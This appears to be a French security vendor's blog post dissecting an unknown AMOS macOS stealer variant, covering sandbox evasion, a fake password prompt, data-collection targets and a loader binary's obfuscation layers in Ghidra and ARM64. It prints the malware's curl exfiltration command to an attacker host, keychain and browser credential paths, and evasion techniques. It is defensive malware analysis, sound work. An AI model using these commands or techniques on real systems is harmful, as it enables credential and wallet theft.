Aller au contenu principal

Anatomie d'un AMOS Stealer inconnu : de l'alerte à l'immunité en quelques heures

Une variante jusqu'ici non documentée d'AMOS Stealer a compromis un endpoint macOS. Aucun hash connu, aucune donnée C2 dans les bases publiques. Notre SOC a démonté six couches d'obfuscation, extrait tous les indicateurs et déployé la protection chez tous les clients SOC en quelques heures, avant même que le secteur n'ait vu l'échantillon.

Anatomie d'un AMOS Stealer inconnu : de l'alerte à l'immunité en quelques heures

Dès qu'une alerte se déclenche dans notre SOC, le compte à rebours commence, et pas seulement pour le client concerné, mais pour toutes les organisations que nous protégeons. Le moment le plus dangereux dans le paysage actuel des menaces est l'Intelligence Gap, cette fenêtre de temps qui sépare la première utilisation d'une nouvelle variante de malware du jour où le secteur en prend connaissance.

Pour une équipe de sécurité qui travaille seule, cet écart signifie une vulnérabilité extrême, puisqu'elle attend une mise à jour de l'éditeur ou un flux de signatures qui n'a pas encore été écrit. Pour nos clients, notre Shared Threat Intelligence, développée en interne, referme précisément cette fenêtre.

Cet article détaille sur le plan technique comment nous avons démonté une variante jusqu'ici non documentée d'AMOS (Atomic macOS Stealer), et comment un seul endpoint compromis a débouché, en quelques heures, sur une détection et un blocage généralisés dans tous les environnements de nos clients.


L'incident : un scénario sans IOC connus

L'alerte est tombée le 12 mars 2026 à 6 h 25, heure locale : un endpoint macOS avait été compromis. Lorsque notre SOC a commencé à analyser les artefacts, nous nous sommes retrouvés dans la situation que redoute tout threat analyst : aucun hash de fichier connu, aucune adresse IP de C2, aucune signature comportementale exploitable dans les bases de données publiques.

L'architecture complète de l'attaque ne s'est révélée qu'au fil de l'analyse approfondie. L'infection reposait sur un Universal Binary macOS de 15,7 Mo (x86_64 et ARM64), déposé sous /private/tmp/helper. L'échantillon n'était pas directement disponible sur le système compromis : notre équipe a dû reconstituer la chaîne d'infection et simuler la requête de livraison d'origine pour récupérer manuellement le binaire sur l'infrastructure de l'attaquant.


Stage 1 : contrôles de sandbox

Avant même l'exécution du stealer proprement dit sur l'appareil, un payload AppleScript avait déjà tourné. Chaque chaîne qu'il contenait, chaque chemin de fichier, chaque commande shell, chaque URL était encodé à l'aide de trois fonctions arithmétiques personnalisées :

on ipbgcjzgqa(a, b)
    -- result[i] = chr(a[i] - b[i])

on kwcvvjininv(a, b)
    -- result[i] = chr(a[i] + b[i])

on xqylheckjx(a, b, offset)
    -- result[i] = chr(a[i] - b[i] - offset)

Aucune chaîne n'apparaît en clair. Ce qui ressemblait à première vue à des tableaux d'entiers dénués de sens s'est révélé, une fois le schéma d'encodage inversé, être un framework complet et opérationnel de vol et d'exfiltration de données.

Nous avons décodé statiquement chaque tableau du script. Les résultats étaient sans ambiguïté :

Download URL: https[:]//woupp[.]com/n8n/update
Exfil server: http[:]//92[.]246[.]136[.]14/contact
Exfil method: curl --connect-timeout 120 --max-time 300 -X POST -F "file=@/tmp/out.zip"

L'URL de téléchargement imite délibérément une mise à jour légitime de n8n, un outil d'automatisation de workflows très répandu chez les développeurs et les ingénieurs DevOps. Ce n'est pas un hasard : la campagne vise des utilisateurs à l'aise avec la technique, et non des utilisateurs lambda qui installent des logiciels crackés.

Le contrôle anti-sandbox

Avant le téléchargement, le script exécutait une routine dédiée de détection de VM et de sandbox. Nous avons en outre pu récupérer, à partir des artefacts de l'incident, un script anti-sandbox autonome :

set urgufr  to do shell script "system_profiler SPMemoryDataType"
set qcsvjxp to do shell script "system_profiler SPHardwareDataType"

Le script comparait ensuite les résultats à deux listes. La première recherchait des marqueurs de virtualisation dans les données mémoire :

"QEMU"   "VMware"   "KVM"

La seconde comparait les identifiants matériels à une liste de numéros de série connus de machines d'analyse :

"Z31FHXYQ0J"     -- known sandbox machine serial
"C07T508TG1J2"   -- known sandbox machine serial
"C02TM2ZBHX87"   -- known sandbox machine serial
"Chip: Unknown"  -- emulation indicator
"Intel Core 2"   -- legacy/VM indicator

En cas de correspondance : exit 100, arrêt complet. Sur un vrai MacBook Pro équipé d'Apple Silicon, tous les contrôles passaient sans bruit et l'exécution se poursuivait. Une technique d'évasion de sandbox de niveau professionnel, exécutée avant même qu'un seul octet du binaire ne soit téléchargé.

Simple mais efficace : la fausse demande de mot de passe

Le script décodé contenait aussi la boîte de dialogue destinée à l'élévation de privilèges par ingénierie sociale :

Title:   "Application wants to install helper"
Prompt:  "Required Application Helper. Please enter device
          password to continue."
Button:  "Continue"

La boîte de dialogue s'affiche via un appel macOS standard à display dialog avec with hidden answer et ne se distingue visuellement en rien d'une véritable demande d'autorisation macOS. Le script utilisait ensuite le mot de passe saisi pour appeler login -pf <username> et élever le processus aux droits root, avant même l'exécution du binaire.

Ce que le script a collecté

Une fois le binaire exécuté, l'osascript poursuivait sa propre routine de collecte et aspirait toutes les catégories de données système sensibles. Nous avons décodé l'ensemble des chemins de collecte et des cibles :

Données de navigateur (tous les navigateurs Chromium + Safari) :

/Login Data          /Cookies            /Web Data
/Local Extension Settings/   /IndexedDB/   /Local Storage/leveldb/

Trousseau macOS (Keychain) :

~/Library/Keychains/login.keychain-db  -- accessed directly via cat

Apple Notes

Contenu complet exporté en HTML, avec un en-tête de comptage

Fichiers locaux

Bureau et Documents, jusqu'à 30 Mo, en ciblant en priorité :

pdf  doc  docx  xls  xlsx  ppt  pptx  txt  rtf
key  p12  pem  cert  pfx  sql  db  sqlite
json  xml  yaml  conf  env  csv

Portefeuilles de cryptomonnaies

Une liste codée en dur de plus de 200 ID d'extensions de navigateur, qui couvre tous les wallets courants, dont MetaMask, Coinbase Wallet, TronLink, Phantom, Keplr, Yoroi, Ledger Live, Trezor Suite, XDEFI et Exodus.

Après la collecte, toutes les données étaient regroupées dans un répertoire temporaire au nom aléatoire, puis exfiltrées :

ditto -c -k --sequesterRsrc <staging_dir> /tmp/out.zip
curl --connect-timeout 120 --max-time 300 -X POST \
  -H "user: <uuid>" -H "BuildID: <hw_profile>" \
  -F "file=@/tmp/out.zip" laislivon[.]com/contact

Le nettoyage suivait immédiatement :

rm -r <staging_dir>
rm /tmp/out.zip

Stage 2 : reverse engineering du binaire 'helper'

Le binaire helper est la partie où cette analyse entre vraiment dans le détail. Il s'agit d'un exécutable macOS obfusqué de manière professionnelle, qui complique systématiquement l'analyse statique et qui a concentré l'essentiel de l'effort de reverse engineering de cette investigation.

L'ensemble de l'analyse a été réalisé avec Ghidra et notre propre workflow d'analyse ARM64.

Propriétés du fichier

Propriété Valeur
Format Mach-O Universal Binary
Architectures x86_64 (offset 0x1000) + ARM64 (offset 0x7ec000)
Size 15.7 MB
MD5 4599fdf2fa2099b30d8bbf76703dd634
SHA-1 3992edfb6f885ae5f09f3e69a2578048d6d5bb54
SHA-256 5664800f21d63e448b934bfcdc258b0c7dadb36e88cf4dd71b24e19656a2b78d

Tout commence avant main()

Première constatation dans Ghidra : ce binaire ne se comporte pas comme un exécutable ordinaire. Son véritable point d'entrée n'est pas main(), mais une fonction enregistrée dans __mod_init_func, un mécanisme macOS qui demande au dynamic linker (dyld) d'exécuter automatiquement certaines fonctions au chargement du binaire, avant même que le moindre code utile ne s'exécute.

La fonction d'init située à 0x10009f384 est le véritable point d'entrée du malware. Voici sa décompilation dans Ghidra :

// FUN_10009f384 @ 0x10009f384
// __mod_init_func registered — executes before main()void FUN_10009f384(void) { int iVar1;

// Anti-sandbox delay: usleep(0x37e) = 894 microseconds iVar1 = _usleep(0x37e);

// Indirect jump table — 14-state machine// Defeats CFG reconstruction in static analysis tools (_(code _)((ulong)switchD_10009f43c::switchdataD_1000cd3fc * 4 + 0x10009f440))(iVar1); return; }

Deux éléments sautent immédiatement aux yeux. D'abord, le usleep de 894 microsecondes au démarrage, un signal de timing anti-sandbox. Plus grave encore, la table de sauts indirecte à 0x10009f43c : il s'agit d'un branchement calculé, dont l'adresse cible est déterminée à l'exécution à partir d'une table de correspondance. Les outils d'analyse statique ne parviennent pas à reconstruire le graphe de flot de contrôle, et Ghidra a consigné plusieurs avertissements « unreachable block » en tentant de suivre le chemin d'exécution. C'est voulu.

La table de sauts pilote une machine d'exécution à 14 états. Chaque état exécute une étape distincte du pipeline de déchiffrement et d'exécution. Le compteur d'état est mis à jour après chaque étape, et la machine tourne jusqu'à ce que tous les états aient été parcourus.

Le désassemblage ARM64 du state dispatcher

10009f3fc:  stp xzr,xzr,[sp, #0x48]
10009f41c:  mov w0,#0x37e
10009f420:  bl  0x1000a0fa8          ; _usleep(0x37e) — 894µs anti-sandbox
10009f424:  cmp w25,#0xd             ; state counter < 14?
10009f428:  b.hi 0x10009fd44         ; exit if done
10009f42c:  mov w8,w25               ; current state index
10009f430:  adr x9,0x10009f440       ; base of jump table
10009f434:  ldrh w10,[x20, x8, LSL#1]; load jump offset from table
10009f438:  add x9,x9,x10, LSL #0x2  ; compute target address
10009f43c:  br x9                    ; indirect branch, CFG broken here

Six couches d'obfuscation empilées

Le binaire utilise six couches d'obfuscation distinctes, empilées et chaînées de sorte que la sortie de chaque couche alimente la suivante. Chaque payload, chaque chaîne, chaque constante interne est encodé, et rien d'intelligible n'apparaît en clair dans le segment __const. Ce qui suit est une décomposition complète, couche par couche, vérifiée directement dans Ghidra jusqu'au niveau des instructions ARM64 individuelles. Prise isolément, chacune des techniques employées est connue, mais leur application en chaîne sur plusieurs étapes a produit un flux d'exécution fortement interdépendant, qui a considérablement compliqué l'analyse statique comme dynamique.


Couche 1 : encodage en triplets à la compilation

Aucune chaîne du binaire n'est stockée sous forme de suite de caractères : chacune l'est sous forme de séquence de triplets arithmétiques de 12 octets. Chaque triplet (a, b, shift) encode exactement un caractère de sortie. Le schéma d'encodage est appliqué à la compilation, si bien qu'aucune chaîne n'existe jamais en clair dans le binaire, pas même temporairement au chargement.

Deux fonctions de décodage distinctes prennent en charge des tailles de chaînes différentes. FUN_100087c08, à 0x100087c08, décode des chaînes de 60 caractères (720 octets de données d'entrée issues de DAT_1006292cc). FUN_10007ad80, à 0x10007ad80, décode des chaînes de 56 caractères (672 octets issus de DAT_10049708c). Toutes deux utilisent le même algorithme.

// FUN_100087c08 @ 0x100087c08
// Triplet decoder, 60 chars, data from DAT_1006292ccvoid FUN_100087c08(long *param_1) { long *plVar1; void *pvVar2; long lVar3; uint *puVar4;

pvVar2 = operator_new(0x2d0); // allocate 720 bytes (60 triplets × 12)
_memcpy(pvVar2, &DAT_1006292cc, 0x2d0); // copy encoded triplets from __const
FUN_1000a0840(param_1, 0x3c, 0); // init 60-char output buffer lVar3 = 0; puVar4 = (uint _)((long)pvVar2 + 8); do { plVar1 = (long _)_param_1; if (-1 < _(char _)((long)param_1 + 0x17)) { plVar1 = param_1; } // THE DECODE FORMULA, one character per triplet:
// char = ((b _ 3) XOR a) >> shift) - b _(char _)((long)plVar1 + lVar3) = (char)((int)(puVar4-1 * 3 ^ puVar4-2) >> (*puVar4 & 0x1f)) - (char)puVar4-1; lVar3 = lVar3 + 1; puVar4 = puVar4 + 3; // advance 12 bytes — next triplet } while (lVar3 != 0x3c); // loop exactly 60 times
operator_delete(pvVar2); return; }

L'assembleur ARM64 correspondant, dans lequel chaque instruction correspond directement à une opération de la formule :

100087c48:  add x9,x20,#0x8
100087c4c:  ldp w10,w11,[x9, #-0x8]   ; load a → w10,  b → w11
100087c50:  add w12,w11,w11, LSL #0x1 ; w12 = b + (b << 1) = b * 3
                                       ; (compiler avoids MUL instruction)
100087c54:  eor w10,w12,w10           ; w10 = (b*3) XOR a
100087c58:  ldr w12,[x9], #0xc        ; w12 = shift value; post-increment by 12
100087c5c:  asr w10,w10,w12           ; arithmetic right shift — sign bit preserved
100087c60:  sub w10,w10,w11           ; subtract b — final decoded character
100087c74:  strb w10,[x11, x8, LSL ]  ; store one byte to output buffer
100087c78:  add x8,x8,#0x1
100087c7c:  cmp x8,#0x3c              ; loop counter vs. 60
100087c80:  b.ne 0x100087c4c          ; continue until all 60 chars decoded

À noter : la multiplication b × 3 est implémentée sous la forme add w12, w11, w11, LSL #1, un shift-and-add qui évite entièrement toute instruction de multiplication. C'est une optimisation classique du compilateur, qui rend au passage le code plus difficile à repérer par signature matching.

La formule de décodage complète :

char = ASR( (b × 3) XOR a, shift ) − b

L'ASR (Arithmetic Shift Right) est déterminant, car il préserve le bit de signe. Lorsque le résultat intermédiaire de (b×3) XOR a est négatif, ce qui arrive souvent, un décalage logique produirait un résultat totalement différent. C'est voulu : quiconque réimplémente la formule dans un langage de haut niveau avec >> obtient, sans le moindre avertissement, des sorties erronées, à moins de traiter explicitement l'arithmétique signée.

La variante à 56 caractères, FUN_10007ad80, est structurellement identique et travaille sur DAT_10049708c avec une limite de boucle de 0x38. Les deux fonctions ont été confirmées en direct dans Ghidra au cours de cette analyse.


Couche 2 : encodage en chaîne hexadécimale

Les octets bruts produits par la couche 1 sont eux-mêmes des caractères hexadécimaux ASCII, et non des données binaires. La sortie d'un décodage de triplets de la couche 1 est une chaîne de paires hexadécimales : 32694e5462.... La fonction de décodage FUN_100000dc0, à 0x100000dc0, le confirme : elle implémente un décodage hexadécimal via une table de correspondance située à DAT_1007bb591.

La décompilation Ghidra montre une instruction switch qui associe chaque caractère hexadécimal (0x30-0x39, 0x41-0x46, 0x61-0x66) à sa valeur de nibble et assemble les octets de sortie deux caractères à la fois :

// FUN_100000dc0 @ 0x100000dc0// Hex decoder, processes input two characters per output byteswitch(*(undefined1 *)((long)plVar2 + lVar7)) { case 0x30: break; // '0' → 0x00 case 0x31: bVar9 = 0x10; break; // '1' → 0x10 case 0x32: bVar9 = 0x20; break; // '2' → 0x20 // ... '3' through '9' ... case 0x41: case 0x61: bVar9 = 0xa0; break; // 'A'/'a' → 0xa0 case 0x42: case 0x62: bVar9 = 0xb0; break; // 'B'/'b' → 0xb0 case 0x43: case 99: bVar9 = 0xc0; break; // 'C'/'c' → 0xc0 case 0x44: case 100: bVar9 = 0xd0; break; // 'D'/'d' → 0xd0 case 0x45: case 0x65: bVar9 = 0xe0; break; // 'E'/'e' → 0xe0 case 0x46: case 0x66: bVar9 = 0xf0; break; // 'F'/'f' → 0xf0 } // Second nibble from lookup table at DAT_1007bb591 *(byte *)((long)pppppppuVar3 + uVar8) = (&DAT_1007bb591)[(ulong)uVar4 & 0xff] | bVar9;

L'assembleur ARM64 pilote ce switch à l'aide d'une table secondaire de branchements calculés et implémente ainsi, de fait, une table de sauts de 55 entrées :

100000e5c:  adr x17,0x100000e6c      ; base of case-dispatch table
100000e60:  ldrb w0,[x12, x16, LSL ] ; load offset for this hex char
100000e64:  add x17,x17,x0, LSL #0x2 ; compute dispatch address
100000e68:  br x17                   ; jump — second computed branch in 24 bytes

Deux branchements calculés dans une fenêtre de 24 octets. Les outils d'analyse statique ne savent pas gérer ce schéma, car les deux cibles de branchement sont inconnues au moment de l'analyse.

Une chaîne hexadécimale de 137 208 caractères donne, une fois décodée, 68 604 octets, qui alimentent ensuite la couche 3.


Couche 3 : alphabet de nibbles personnalisé à 16 symboles

Les 68 604 octets de sortie de la couche 2 n'utilisent que 16 valeurs d'octet distinctes, issues de deux plages ASCII non contiguës :

  • 0x20-0x2F : espace, !, ", #, $, %, &, ', (, ), *, +, ,, -, ., /
  • 0x78-0x7F : x, y, z, {, |, }, ~, DEL

C'est un choix de conception délibéré. Dans un éditeur hexadécimal, ces octets ressemblent à des espaces, à des signes de ponctuation et à des caractères ASCII marginaux, et se fondent dans le bruit de ce qui passe pour des métadonnées ou du padding. Un analyste qui parcourt rapidement un hex dump ne signalera pas ces plages d'octets comme suspectes, et les analyses d'entropie standard sous-estiment l'entropie effective, parce que la distribution des octets ne paraît pas aléatoire.

Chaque octet de cet alphabet encode un nibble du payload réel. La correspondance entre alphabet et nibbles est appliquée par la fonction d'encodage et de décodage FUN_100000d60, que nous avons confirmée à 0x100000d60. Elle enchaîne deux sous-fonctions : FUN_100000b50 construit une map indexée des caractères de la chaîne d'entrée, et FUN_100000c34 parcourt cette map, consomme 6 bits par itération et accumule les octets de sortie 8 bits à la fois :

// FUN_100000c34 @ 0x100000c34, nibble accumulator iVar5 = 0; do { local_52 = *(undefined1 *)puVar4; lVar3 = FUN_1000a078c(param_3, &local_52); // look up nibble value if (lVar3 == 0) { // character not in alphabet, treat as raw FUN_1000a078c(param_3, &local_51); } else { iVar5 = iVar5 + 4; // accumulate 4 bits while (7 < iVar5) { std::string::push_back((char)param_1); // emit byte when 8+ bits ready iVar5 = iVar5 + -8; } } puVar4 = (undefined8 *)((long)puVar4 + 1); } while (puVar4 != puVar1);

Les 34 302 octets issus de ce passage sont à 99,7 % de l'ASCII imprimable. Au premier coup d'œil, le payload ressemble à ce stade à un gros script shell ou à un blob de configuration.


Couche 4 : obfuscation des chaînes à la compilation

Les chaînes utilisées en interne sont obfusquées à la compilation avec le même schéma de triplets que la couche 1, puis reconstruites à l'exécution juste avant leur utilisation. Elles ne restent jamais en mémoire plus longtemps que nécessaire, puisque le buffer est libéré dès qu'elles ont été consommées. À aucun moment une chaîne décodée n'est visible dans les sections de données statiques du binaire.

La fonction de hachage de chaînes FUN_100000730 ajoute une couche d'obfuscation secondaire aux comparaisons de chaînes. Au lieu de comparer directement des chaînes, ce qui laisserait du texte en clair en mémoire, le binaire calcule et compare des hashs entiers :

// FUN_100000730 @ 0x100000730// FNV-style string hash, avoids plaintext string comparisonsint FUN_100000730(char *param_1) { int iVar4 = 0x19a8; // FNV offset basis (modified) // ... for (; uVar3 != 0; uVar3 = uVar3 - 1) { iVar4 = (int)*pcVar1 + iVar4 * -0x7fb91be3; // FNV-1a style multiply pcVar1 = pcVar1 + 1; } return iVar4; }

L'assembleur ARM64 remplace la multiplication par un fused multiply-add :

100000744:  mov w0,#0x19a8            ; FNV basis
100000750:  mov w10,#0xe41d
100000754:  movk w10,#0x8046, LSL #16 ; constant = 0x8046e41d = -0x7fb91be3
100000758:  ldrsb w11,[x8], #0x1      ; load char, post-increment
10000075c:  madd w0,w0,w10,w11        ; w0 = w0 * 0x8046e41d + char
100000760:  subs x9,x9,#0x1
100000764:  b.ne 0x100000758

Même une comparaison de deux chaînes à l'intérieur du binaire ne produit donc aucun branchement qu'un débogueur pourrait intercepter proprement au niveau des chaînes, seulement au niveau des hashs.


Couche 5 : deux instances d'un stream cipher personnalisé

C'est ici que l'architecture d'obfuscation sort de l'ordinaire. Le binaire n'exécute pas une, mais deux instances de chiffrement distinctes, chacune avec sa propre table de correspondance codée en dur et son propre compteur initial. Les deux reposent sur la même structure algorithmique, mais produisent des alphabets de sortie différents pour différentes parties du pipeline de payload.

Instance A, FUN_10007ab34 à 0x10007ab34 :

// Instance A, start counter 0x4c, table @ 0x100496f8b uVar6 = 0x4c; do { bVar2 = *(byte *)((long)local_e0 + ((ulong)(*(byte *)((long)local_c8 + uVar5) ^ uVar6) & 0xff)); *(byte *)((long)plVar1 + uVar5) = bVar2; uVar6 = (int)uVar5 + (uVar6 ^ bVar2); // counter: i + (counter XOR output) uVar5 = uVar5 + 1; } while (uVar7 != uVar5);

Instance B, FUN_10007a7e0 à 0x10007a7e0 :

// Instance B, start counter 0x9f, different table @ 0x100496e0a region uVar6 = 0x9f; do { bVar2 = *(byte *)((long)local_c0 + ((ulong)(*(byte *)((long)local_a8 + uVar5) ^ uVar6) & 0xff)); *(byte *)((long)plVar1 + uVar5) = bVar2; uVar6 = (int)uVar5 + (uVar6 ^ bVar2); // identical counter update formula uVar5 = uVar5 + 1; } while (uVar7 != uVar5);

L'algorithme est structurellement identique, mais le compteur initial diffère (0x4c contre 0x9f) et les tables de correspondance se trouvent à des adresses mémoire différentes. L'instance A est appelée depuis l'état 11 de la machine à états pour générer l'alphabet d'encodage du premier chemin de payload. L'instance B est appelée depuis l'état 6 pour générer l'alphabet qui sert à décoder le gros payload de script shell.

Pour être précis, il s'agit d'un chiffrement par substitution à index dépendant d'un compteur. Chaque octet de sortie résulte d'une recherche dans une table, avec pour index (input_byte XOR counter) & 0xFF. Après chaque octet, le compteur est mis à jour selon counter = (i + (counter XOR output)) & 0xFF, si bien que chaque octet de sortie influe sur le calcul de l'index suivant. Il en résulte une chaîne de dépendances sur toute la séquence de sortie : impossible de déchiffrer l'octet N sans avoir correctement déchiffré les octets 0 à N-1. Le déchiffrement partiel ou l'analyse d'erreurs s'en trouvent nettement compliqués.

Aucune des deux instances n'est du RC4 standard : il n'y a ni phase d'initialisation de S-box, ni opération de swap de S-box. Les tables de correspondance sont des constantes statiques, intégrées à la compilation.


Couche 6 : XOR à l'exécution avec une clé dépendant du code de sortie

La dernière couche, la plus exigeante à analyser, applique une transformation XOR in place au payload de stage 2. La clé XOR n'est pas codée en dur : elle est dérivée à l'exécution du code de sortie de la première exécution du payload shell, ce qui la rend par principe impossible à déterminer par analyse statique. Le binaire doit réellement être exécuté, et le premier script shell doit aller jusqu'au bout, pour que la clé existe tout simplement.

La séquence de dérivation de la clé dans le dispatcher de la machine à états ARM64 :

; After shell_exec_via_pipe #1 returns, exit code is in w0
10009f838:  ubfx w8,w0,#0x8,#0x8     ; extract bits [15:8] of exit status
10009f83c:  mov w9,#0x7f0             ; multiplier constant
10009f840:  madd w8,w8,w9,w26         ; key = (exit_byte × 0x7f0) + base_counter
10009f844:  and w24,w8,#0xffff        ; mask to 16-bit key → stored in w24

La boucle XOR qui traite le payload de stage 2 :

; In-place XOR, every byte of the payload is XORed with w24
10009fc34:  ldrb w10,[x8, x9, LSL ]  ; load payload byte
10009fc48:  eor w10,w10,w24          ; XOR with key
10009fc4c:  strb w10,[x8, x9, LSL ]  ; write decrypted byte in place

La clé est une valeur de 16 bits, dérivée de l'octet de statut de sortie du premier payload shell, multipliée par 0x7f0 puis ajoutée à la valeur courante du registre de compteur de base w26 de la machine à états. Avec la constante multiplicative 0x7f0, un seul bit de différence dans le code de sortie produit une clé totalement différente. Il n'existe aucune continuité exploitable entre des valeurs de clé voisines.

Sans exécuter le binaire dans un environnement contrôlé ni enregistrer le code de sortie exact du premier payload shell, le payload de stage 2 reste définitivement opaque pour l'analyse statique. Ce fut l'obstacle le plus difficile de toute l'analyse.


Exécution shell : des pipes plutôt que des arguments, et un XOR SIMD

La fonction d'exécution shell FUN_10000091c, à 0x10000091c, est le composant le plus intéressant du binaire sur le plan architectural. Tout y converge : le payload décodé, le nom de commande obfusqué et une conception explicitement anti-forensique. Chaque choix de conception de cette fonction sert un objectif d'évasion précis.

Étape 1 : le nom de la commande n'apparaît jamais en clair

/bin/zsh n'existe nulle part en clair dans le binaire. Dans la section __cstring, à 0x1007bb5c8, la chaîne se présente sous forme d'octets obfusqués \x01LG@\x01T]F. Le décodage a lieu à l'exécution, par une seule opération XOR, vérifiable directement dans l'assembleur ARM64 :

; FUN_10000091c — command name decode via SIMD XOR
100000960:  adrp x8,0x1007bb000
100000964:  add x8,x8,#0x5c8          ; x8 → "\x01LG@\x01T]F" in __cstring
100000968:  ldr x8,[x8]               ; load 8 obfuscated bytes as uint64
10000096c:  str x8,[sp, #0x20]
100000970:  strb wzr,[sp, #0x28]      ; null terminator

100000974:  ldr d0,[sp, #0x20]        ; load into SIMD register d0
100000978:  movi v1.8B,#0x2e          ; broadcast 0x2e to all 8 lanes of v1
10000097c:  eor v0.8B,v0.8B,v1.8B    ; XOR all 8 bytes simultaneously
100000980:  str d0,[sp, #0x20]        ; store decoded "/bin/zsh"

100000988:  mov w8,#0x732d            ; 0x732d = "-s" (little-endian)
10000098c:  strh w8,[sp, #0x4]        ; store argument string

La clé XOR est 0x2e, la valeur ASCII de . (le point). Le décodage s'effectue en une seule instruction eor v0.8B, v0.8B, v1.8B, une instruction vectorielle ARM64 NEON qui applique un XOR aux 8 octets simultanément. Recourir à une instruction SIMD pour un simple décodage de 8 octets est inhabituel et produit deux effets : c'est plus rapide qu'une boucle octet par octet, et le motif d'instructions généré diffère fondamentalement des boucles de décodage scalaires sur lesquelles les outils de signature matching sont entraînés.

La vérification est simple : 0x01 XOR 0x2e = 0x2f = /, 0x4c XOR 0x2e = 0x62 = b, 0x47 XOR 0x2e = 0x69 = i, 0x40 XOR 0x2e = 0x6e = n, ce qui donne /bin pour les quatre premiers octets.

Étape 2 : l'architecture en pipe

Après avoir décodé le nom de la commande, la fonction crée un pipe au niveau de l'OS et effectue un fork :

100000990:  bl 0x1000a0f6c    ; _fork()
100000994:  mov x20,x0        ; save PID
100000998:  cbz w0,0x100000b00 ; if child: jump to exec path

Dans le processus enfant :

; Child process path
100000b0c:  mov w1,#0x0
100000b10:  bl 0x1000a0f48    ; _dup2(pipe_read_fd, STDIN=0)
; pipe read-end is now stdin, shell reads from pipe
100000b2c:  add x0,sp,#0x20   ; argv[0] = "/bin/zsh"
100000b30:  add x1,sp,#0x8    ; argv array
100000b34:  bl 0x1000a0f60    ; _execvp("/bin/zsh", ["/bin/zsh", "-s", NULL])

Le processus enfant remplace son entrée standard par l'extrémité de lecture du pipe et lance /bin/zsh -s. En mode -s, le shell lit ses commandes sur stdin. Pour les outils de surveillance des processus, ce processus apparaît comme /bin/zsh -s sans arguments, impossible à distinguer d'une session shell interactive légitime.

Étape 3 : des écritures par blocs de taille variable

Le processus parent écrit le payload déchiffré dans l'extrémité d'écriture du pipe, en blocs de taille volontairement variable :

; Parent: compute chunk size then write
1000009d4:  umulh x8,x23,x24       ; high-half multiply for modulo
1000009d8:  lsr x8,x8,#0x7
1000009dc:  msub x8,x8,x25,x23     ; x8 = length % 0xc0
1000009e0:  add x8,x8,#0x40        ; chunk = (length % 192) + 64
                                    ; range: 64 to 255 bytes per write
1000009e4:  cmp x8,x23             ; clamp to remaining length
1000009e8:  csel x2,x8,x23,cc

1000009ec:  ldr w0,[sp, #0x34]     ; pipe write fd
1000009f0:  mov x1,x21             ; payload pointer
1000009f4:  bl 0x1000a0fc0         ; _write(fd, buf, chunk_size)

100000a04:  mov w0,#0x1
100000a08:  bl 0x1000a0fa8         ; _usleep(1), 1µs between chunks
100000a0c:  add x21,x21,x22        ; advance pointer
100000a10:  sub x23,x23,x22        ; reduce remaining count
100000a14:  cbnz x23,0x1000009d4   ; loop until done

La formule de taille des blocs (remaining_length % 192) + 64 produit des valeurs comprises entre 64 et 255 octets par appel d'écriture, selon la longueur de payload restante. Ce motif d'écriture variable est visible dans les outils de traçage d'événements noyau comme ktrace ou dtrace, mais ne génère aucune signature reconnaissable de taille fixe. Chaque exécution du même payload produit une séquence différente de tailles d'appels système write().

Le usleep d'une microseconde entre les blocs remplit une seconde fonction : il libère le CPU entre les écritures, maintient une charge CPU plate et évite un pic soudain qu'une règle EDR comportementale pourrait signaler comme une rafale d'I/O anormale.

Étape 4 : effacement immédiat de la mémoire

; After all chunks written and pipe closed:
100000a20:  ldrb w8,[x19, #0x17]   ; check string storage type
100000a24:  sxtb w9,w8
100000a28:  ldp x10,x11,[x19]
100000a30:  csel x0,x10,x19,lt     ; pointer to payload buffer
100000a34:  csel x1,x11,x8,lt      ; length of buffer
100000a38:  bl 0x1000a0f30         ; _bzero(payload_buf, length)

L'appel à _bzero() remet à zéro l'intégralité du buffer contenant le payload déchiffré, immédiatement après la dernière écriture dans le pipe. Il n'existe aucune fenêtre, pas même d'une microseconde, pendant laquelle le payload déchiffré resterait en mémoire une fois l'exécution terminée. Un dump mémoire live réalisé juste après le retour de cette fonction ne trouve que des zéros là où se trouvait le payload.

On parle de Zero-after-use, la même technique que celle qu'emploient les bibliothèques cryptographiques à haut niveau de sécurité pour éviter que du matériel de clé ne subsiste en mémoire. La voir apparaître dans un malware commodity est inhabituel et laisse supposer un développeur issu du security engineering.

La séquence d'exécution complète :

__cstring:  "\x01LG@\x01T]F"   (7 bytes, obfuscated)
    ↓  SIMD XOR with 0x2e (8-wide vector)
stack:      "/bin/zsh\0"         (decoded in-place, stack only)
    ↓  _pipe() creates fd pair [read=local_60, write=local_5c]
    ↓  _fork()
    │
    ├─ CHILD:  _dup2(local_60, 0)   stdin = pipe read end
    │          _execvp("/bin/zsh", ["/bin/zsh", "-s", NULL])
    │          → /bin/zsh reads commands from stdin (= pipe)
    │
    └─ PARENT: loop: _write(local_5c, payload, variable_chunk)
                     _usleep(1)
               _close(local_5c)    close write end → EOF to shell
               _bzero(payload, len) ← WIPE IMMEDIATELY
               _waitpid(child, ...)

La table d'import comme arme

La table d'import complète de ce binaire :

// C runtime / memory
_memcpy       _memmove      _memset       _bzero

// Process execution
_fork         _execvp       _execl        __exit

// IPC / pipes
_pipe         _dup2         _close        _write

// Synchronisation
_waitpid      _usleep

// Stack protection
___stack_chk_fail    ___stack_chk_guard

// C++ runtime
operator.new    operator.delete    __Unwind_Resume
___cxa_allocate_exception    ___cxa_throw    ___cxa_begin_catch
___cxa_end_catch    ___cxa_free_exception    ___gxx_personality_v0
terminate    logic_error    bad_array_new_length    __next_prime

// STL containers
append    reserve    push_back    operator=

// Dynamic linking
dyld_stub_binder

Au total, 27 symboles. Ce qui manque est au moins aussi révélateur que ce qui est présent.

Absent : réseau

socket      connect     bind        listen
accept      send        recv        sendto
recvfrom    getaddrinfo gethostbyname

Absent : système de fichiers

open        read        fopen       fread
fwrite      fclose      stat        unlink
mkdir       rename      opendir     readdir

Absent : introspection de processus

getpid      getuid      getenv      sysctl

Absent : cryptographie

CCCrypt     SecItemAdd  SecKeychainFind

Dans un échantillon de malware classique, on s'attend à trouver des imports réseau (socket, connect) ou des imports liés aux fichiers (fopen, write). Ce binaire n'en contient aucun. Pour un scanner standard, il ressemble à un lanceur de processus inoffensif, et c'est prévu ainsi : un choix d'architecture délibéré qui fait tourner les outils d'analyse statique dans le vide.

Le binaire helper ne commet pas lui-même le vol. Son seul rôle est de déposer et d'exécuter le véritable payload malveillant, un AppleScript fortement obfusqué. Un EDR ou un antivirus qui cherche des binaires malveillants voit ici un loader sans I/O réseau ni fichier et peut le classer comme sain, sans comprendre que ce binaire est un système de livraison spécialisé pour un payload de script de haut niveau.


La backdoor
